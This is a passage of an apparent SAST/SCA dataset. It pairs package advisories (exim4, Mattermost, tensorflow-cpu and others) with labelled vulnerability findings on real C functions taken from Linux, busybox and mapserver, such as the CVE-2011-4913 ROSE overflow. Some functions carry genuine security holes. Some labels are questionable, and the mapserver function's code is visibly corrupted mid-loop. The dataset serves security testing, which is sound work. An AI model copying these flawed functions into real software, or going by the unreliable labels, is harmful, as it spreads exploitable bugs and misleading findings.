\"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"cve\": \"CVE-2011-4112\",\n \"fixed_code\": \"int ar6000_create_ap_interface(struct ar6_softc *ar, char *ap_ifname)\\n{\\n struct net_device *dev;\\n struct ar_virtual_interface *arApDev;\\n\\n dev = alloc_etherdev(sizeof(struct ar_virtual_interface));\\n if (dev == NULL) {\\n AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\\\"ar6000_create_ap_interface: can't alloc etherdev\\\\n\\\"));\\n return A_ERROR;\\n } \\n \\n ether_setup(dev);\\n init_netdev(dev, ap_ifname);\\n dev->priv_flags &= ~IFF_TX_SKB_SHARING;\\n \\n if (register_netdev(dev)) {\\n AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\\\"ar6000_create_ap_interface: register_netdev failed\\\\n\\\"));\\n return A_ERROR;\\n }\\n\\n arApDev = netdev_priv(dev);\\n arApDev->arDev = ar;\\n arApDev->arNetDev = dev;\\n arApDev->arStaNetDev = ar->arNetDev;\\n\\n ar->arApDev = arApDev;\\n arApNetDev = dev;\\n\\n /* Copy the MAC address */\\n memcpy(dev->dev_addr, ar->arNetDev->dev_addr, AR6000_ETH_ADDR_LEN);\\n\\n return 0;\\n}\\n\",\n \"change_summary\": \"net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-863", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/mattermost/mattermost/server/v8\nInstalled version: <8.0.0-20251121122154-b57c297c6d7\nSummary: Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-vww6-79rv-3j4x\",\n \"cve\": \"CVE-2025-64641\",\n \"aliases\": [\n \"CVE-2025-64641\",\n \"GO-2025-4260\"\n ],\n \"cwe\": \"CWE-863\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/mattermost/mattermost/server/v8\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <8.0.0-20251121122154-b57c297c6d7\",\n \"fixed_version\": \"8.0.0-20251121122154-b57c297c6d7\",\n \"finding\": \"Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin\",\n \"remediation\": \"Upgrade github.com/mattermost/mattermost/server/v8 to 8.0.0-20251121122154-b57c297c6d7 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void sctp_transport_reset(struct sctp_transport *t)\n{\n\tstruct sctp_association *asoc = t->asoc;\n\n\t/* RFC 2960 (bis), Section 5.2.4\n\t * All the congestion control parameters (e.g., cwnd, ssthresh)\n\t * related to this peer MUST be reset to their initial values\n\t * (see Section 6.2.1)\n\t */\n\tt->cwnd = min(4*asoc->pathmtu, max_t(__u32, 2*asoc->pathmtu, 4380));\n\tt->burst_limited = 0;\n\tt->ssthresh = asoc->peer.i.a_rwnd;\n\tt->rto = asoc->rto_initial;\n\tt->rtt = 0;\n\tt->srtt = 0;\n\tt->rttvar = 0;\n\n\t/* Reset these additional varibles so that we have a clean\n\t * slate.\n\t */\n\tt->partial_bytes_acked = 0;\n\tt->flight_size = 0;\n\tt->error_count = 0;\n\tt->rto_pending = 0;\n\tt->hb_sent = 0;\n\n\t/* Initialize the state information for SFR-CACC */\n\tt->cacc.changeover_active = 0;\n\tt->cacc.cycling_changeover = 0;\n\tt->cacc.next_tsn_at_change = 0;\n\tt->cacc.cacc_saw_newack = 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static inline unsigned long get_stack_long(struct task_struct *task, int offset)\n{\n\tunsigned char *stack;\n\n\tstack = (unsigned char *)task->thread.rsp0;\n\tstack += offset;\n\treturn (*((unsigned long *)stack));\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: exim4\nInstalled version: <4.96-15+deb12u3\nSummary: Exim Improper Neutralization of Special Elements Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exim. Authentica...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2023-42117\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"exim4\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <4.96-15+deb12u3\",\n \"fixed_version\": \"4.96-15+deb12u3\",\n \"finding\": \"Exim Improper Neutralization of Special Elements Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exim. Authentica...\",\n \"remediation\": \"Upgrade exim4 to 4.96-15+deb12u3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow-cpu\nInstalled version: <2.11.1\nSummary: TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-3300\",\n \"cve\": \"CVE-2023-25659\",\n \"aliases\": [\n \"BIT-tensorflow-2023-25659\",\n \"CVE-2023-25659\",\n \"GHSA-93vr-9q9m-pj8p\",\n \"PYSEC-2026-1959\",\n \"PYSEC-2026-3142\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow-cpu\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.11.1\",\n \"fixed_version\": \"2.11.1\",\n \"finding\": \"TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch\",\n \"remediation\": \"Upgrade tensorflow-cpu to 2.11.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int rose_parse_national(unsigned char *p, struct rose_facilities_struct *facilities, int len)\n{\n\tunsigned char *pt;\n\tunsigned char l, lg, n = 0;\n\tint fac_national_digis_received = 0;\n\n\tdo {\n\t\tswitch (*p & 0xC0) {\n\t\tcase 0x00:\n\t\t\tp += 2;\n\t\t\tn += 2;\n\t\t\tlen -= 2;\n\t\t\tbreak;\n\n\t\tcase 0x40:\n\t\t\tif (*p == FAC_NATIONAL_RAND)\n\t\t\t\tfacilities->rand = ((p[1] << 8) & 0xFF00) + ((p[2] << 0) & 0x00FF);\n\t\t\tp += 3;\n\t\t\tn += 3;\n\t\t\tlen -= 3;\n\t\t\tbreak;\n\n\t\tcase 0x80:\n\t\t\tp += 4;\n\t\t\tn += 4;\n\t\t\tlen -= 4;\n\t\t\tbreak;\n\n\t\tcase 0xC0:\n\t\t\tl = p[1];\n\t\t\tif (*p == FAC_NATIONAL_DEST_DIGI) {\n\t\t\t\tif (!fac_national_digis_received) {\n\t\t\t\t\tmemcpy(&facilities->source_digis[0], p + 2, AX25_ADDR_LEN);\n\t\t\t\t\tfacilities->source_ndigis = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (*p == FAC_NATIONAL_SRC_DIGI) {\n\t\t\t\tif (!fac_national_digis_received) {\n\t\t\t\t\tmemcpy(&facilities->dest_digis[0], p + 2, AX25_ADDR_LEN);\n\t\t\t\t\tfacilities->dest_ndigis = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (*p == FAC_NATIONAL_FAIL_CALL) {\n\t\t\t\tmemcpy(&facilities->fail_call, p + 2, AX25_ADDR_LEN);\n\t\t\t}\n\t\t\telse if (*p == FAC_NATIONAL_FAIL_ADD) {\n\t\t\t\tmemcpy(&facilities->fail_addr, p + 3, ROSE_ADDR_LEN);\n\t\t\t}\n\t\t\telse if (*p == FAC_NATIONAL_DIGIS) {\n\t\t\t\tfac_national_digis_received = 1;\n \t\t\t\tfacilities->source_ndigis = 0;\n \t\t\t\tfacilities->dest_ndigis = 0;\n \t\t\t\tfor (pt = p + 2, lg = 0 ; lg < l ; pt += AX25_ADDR_LEN, lg += AX25_ADDR_LEN) {\n\t\t\t\t\tif (pt[6] & AX25_HBIT)\n \t\t\t\t\t\tmemcpy(&facilities->dest_digis[facilities->dest_ndigis++], pt, AX25_ADDR_LEN);\n\t\t\t\t\telse\n \t\t\t\t\t\tmemcpy(&facilities->source_digis[facilities->source_ndigis++], pt, AX25_ADDR_LEN);\n \t\t\t\t}\n \t\t\t}\n \t\t\tp += l + 2;\n\t\t\tn += l + 2;\n\t\t\tlen -= l + 2;\n\t\t\tbreak;\n\t\t}\n\t} while (*p != 0x00 && len > 0);\n\n\treturn n;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-4913\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 54,\n 56\n ],\n \"sink_node_type\": \"for_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"do_statement\",\n \"compound_statement\",\n \"switch_statement\",\n \"compound_statement\",\n \"case_statement\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"compound_statement\",\n \"for_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 53,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 53,\n \"col\": 9\n },\n {\n \"token\": \"pt\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 53,\n \"col\": 13\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 15\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 53,\n \"col\": 17\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 53,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 53,\n \"col\": 20\n },\n {\n \"token\": \"lg\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 22\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 53,\n \"col\": 25\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 53,\n \"col\": 27\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 53,\n \"col\": 29\n },\n {\n \"token\": \"lg\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 31\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 53,\n \"col\": 34\n },\n {\n \"token\": \"l\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 53,\n \"col\": 38\n },\n {\n \"token\": \"pt\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 40\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 53,\n \"col\": 43\n },\n {\n \"token\": \"AX25_ADDR_LEN\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 46\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 53,\n \"col\": 59\n },\n {\n \"token\": \"lg\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 61\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 53,\n \"col\": 64\n },\n {\n \"token\": \"AX25_ADDR_LEN\",\n \"ast_node\": \"identifier\",\n \"line\": 53,\n \"col\": 67\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 53,\n \"col\": 80\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 53,\n \"col\": 82\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 54,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 54,\n \"col\": 8\n },\n {\n \"token\": \"pt\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 9\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 54,\n \"col\": 11\n },\n {\n \"token\": \"6\",\n \"ast_node\": \"number_literal\",\n \"line\": 54,\n \"col\": 12\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 54,\n \"col\": 13\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 54,\n \"col\": 15\n },\n {\n \"token\": \"AX25_HBIT\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 54,\n \"col\": 26\n },\n {\n \"token\": \"memcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 55,\n \"col\": 13\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 55,\n \"col\": 14\n },\n {\n \"token\": \"facilities\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 55,\n \"col\": 25\n },\n {\n \"token\": \"dest_digis\",\n \"ast_node\": \"field_identifier\",\n \"line\": 55,\n \"col\": 27\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 55,\n \"col\": 37\n },\n {\n \"token\": \"facilities\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 38\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 55,\n \"col\": 48\n },\n {\n \"token\": \"dest_ndigis\",\n \"ast_node\": \"field_identifier\",\n \"line\": 55,\n \"col\": 50\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 55,\n \"col\": 61\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 55,\n \"col\": 63\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 55,\n \"col\": 64\n },\n {\n \"token\": \"pt\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 66\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 55,\n \"col\": 68\n },\n {\n \"token\": \"AX25_ADDR_LEN\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 70\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 55,\n \"col\": 83\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 55,\n \"col\": 84\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 56,\n \"col\": 5\n },\n {\n \"token\": \"memcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 57,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 57,\n \"col\": 13\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 57,\n \"col\": 14\n },\n {\n \"token\": \"facilities\",\n \"ast_node\": \"identifier\",\n \"line\": 57,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 57,\n \"col\": 25\n },\n {\n \"token\": \"source_digis\",\n \"ast_node\": \"field_identifier\",\n \"line\": 57,\n \"col\": 27\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 57,\n \"col\": 39\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-89", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int msPostGISLayerSetTimeFilter(layerObj *lp, const char *timestring, const char *timefield)\n{\n char **atimes, **aranges = NULL;\n int numtimes=0,i=0,numranges=0;\n size_t buffer_size = 512;\n char buffer[512], bufferTmp[512];\n\n buffer[0] = '\\0';\n bufferTmp[0] = '\\0';\n\n if (!lp || !timestring || !timefield)\n return MS_FALSE;\n \n /* discrete time */\n if (strstr(timestring, \",\") == NULL &&\n strstr(timestring, \"/\") == NULL) { /* discrete time */\n createPostgresTimeCompareSimple(timefield, timestring, buffer, buffer_size);\n } else {\n\n /* multiple times, or ranges */\n atimes = msStringSplit (timestring, ',', &numtimes);\n if (atimes == NULL || numtimes < 1)\n return MS_FALSE;\n\n strlcat(buffer, \"(\", buffer_size);\n for(i=0; ifilteritem) free(lp->filteritem);\n lp->filteritem = msStrdup(timefield);\n if (&lp->filter) {\n /* if the filter is set and it's a string type, concatenate it with\n the time. If not just free it */\n if (lp->filter.type == MS_EXPRESSION) {\n snprintf(bufferTmp, buffer_size, \"(%s) and %s\", lp->filter.string, buffer);\n loadExpressionString(&lp->filter, bufferTmp);\n } else {\n freeExpression(&lp->filter);\n loadExpressionString(&lp->filter, buffer);\n }\n }\n\n\n return MS_TRUE;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-89\",\n \"cwe_name\": \"SQL Injection\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-7262\",\n \"project\": \"mapserver\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static char *build_alias(char *alias, const char *device_name)\n{\n\tchar *dest;\n\n\t/* \">bar/\": rename to bar/device_name */\n\t/* \">bar[/]baz\": rename to bar[/]baz */\n\tdest = strrchr(alias, '/');\n\tif (dest) { /* \">bar/[baz]\" ? */\n\t\t*dest = '\\0'; /* mkdir bar */\n\t\tbb_make_directory(alias, 0755, FILEUTILS_RECUR);\n\t\t*dest = '/';\n\t\tif (dest[1] == '\\0') { /* \">bar/\" => \">bar/device_name\" */\n\t\t\tdest = alias;\n\t\t\talias = concat_path_file(alias, device_name);\n\t\t\tfree(dest);\n\t\t}\n\t}\n\n\treturn alias;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"project\": \"busybox\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1333", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: seroval\nInstalled version: 0.2.0\nSummary: seroval affected by Denial of Service via RegExp serialization", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-hx9m-jf43-8ffr\",\n \"cve\": \"CVE-2026-23956\",\n \"aliases\": [\n \"CVE-2026-23956\"\n ],\n \"cwe\": \"CWE-1333\",\n \"ecosystem\": \"npm\",\n \"package\": \"seroval\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0.2.0, <1.4.1\",\n \"fixed_version\": \"1.4.1\",\n \"finding\": \"seroval affected by Denial of Service via RegExp serialization\",\n \"remediation\": \"Upgrade seroval to 1.4.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee,\n\t\t\t\t\t struct ieee80211_hdr_4addr *hdr)\n{\n\tu16 sc;\n\tunsigned int seq;\n\tstruct ieee80211_frag_entry *entry;\n\n\tsc = le16_to_cpu(hdr->seq_ctl);\n\tseq = WLAN_GET_SEQ_SEQ(sc);\n\n\tentry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2,\n\t\t\t\t\t hdr->addr1);\n\n\tif (entry == NULL) {\n\t\tIEEE80211_DEBUG_FRAG(\"could not invalidate fragment cache \"\n\t\t\t\t \"entry (seq=%u)\\n\", seq);\n\t\treturn -1;\n\t}\n\n\tentry->skb = NULL;\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: changedetection-io\nInstalled version: <0.45.22\nSummary: changedetection.io Cross-site Scripting vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-pwgc-w4x9-gw67\",\n \"cve\": \"CVE-2024-34061\",\n \"aliases\": [\n \"CVE-2024-34061\",\n \"PYSEC-2026-1243\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"changedetection-io\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <0.45.22\",\n \"fixed_version\": \"0.45.22\",\n \"finding\": \"changedetection.io Cross-site Scripting vulnerability\",\n \"remediation\": \"Upgrade changedetection-io to 0.45.22 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " void FillRandom(uint8_t *data, int stride) {\n for (int h = 0; h < height_; ++h) {\n for (int w = 0; w < width_; ++w) {\n data[h * stride + w] = rnd_.Rand8();\n }\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1621\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"for_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"for_statement\",\n \"compound_statement\",\n \"for_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"w\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"w\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"width_\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"w\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 40\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"h\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"stride\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"w\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"rnd_\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \"Rand8\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 36\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 5,\n \"col\": 7\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-772", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static BOOL region16_simplify_bands(REGION16* region)\n{\n\t/** Simplify consecutive bands that touch and have the same items\n\t *\n\t * ==================== ====================\n\t * | 1 | | 2 | | | | |\n\t * ==================== | | | |\n\t * | 1 | | 2 |\t ====> | 1 | | 2 |\n\t * ==================== | | | |\n\t * | 1 | | 2 | | | | |\n\t * ==================== ====================\n\t *\n\t */\n\tRECTANGLE_16* band1, *band2, *endPtr, *endBand, *tmp;\n\tint nbRects, finalNbRects;\n\tint bandItems, toMove;\n\tfinalNbRects = nbRects = region16_n_rects(region);\n\n\tif (nbRects < 2)\n\t\treturn TRUE;\n\n\tband1 = region16_rects_noconst(region);\n\tendPtr = band1 + nbRects;\n\n\tdo\n\t{\n\t\tband2 = next_band(band1, endPtr, &bandItems);\n\n\t\tif (band2 == endPtr)\n\t\t\tbreak;\n\n\t\tif ((band1->bottom == band2->top) && band_match(band1, band2, endPtr))\n\t\t{\n\t\t\t/* adjust the bottom of band1 items */\n\t\t\ttmp = band1;\n\n\t\t\twhile (tmp < band2)\n\t\t\t{\n\t\t\t\ttmp->bottom = band2->bottom;\n\t\t\t\ttmp++;\n\t\t\t}\n\n\t\t\t/* override band2, we don't move band1 pointer as the band after band2\n\t\t\t * may be merged too */\n\t\t\tendBand = band2 + bandItems;\n\t\t\ttoMove = (endPtr - endBand) * 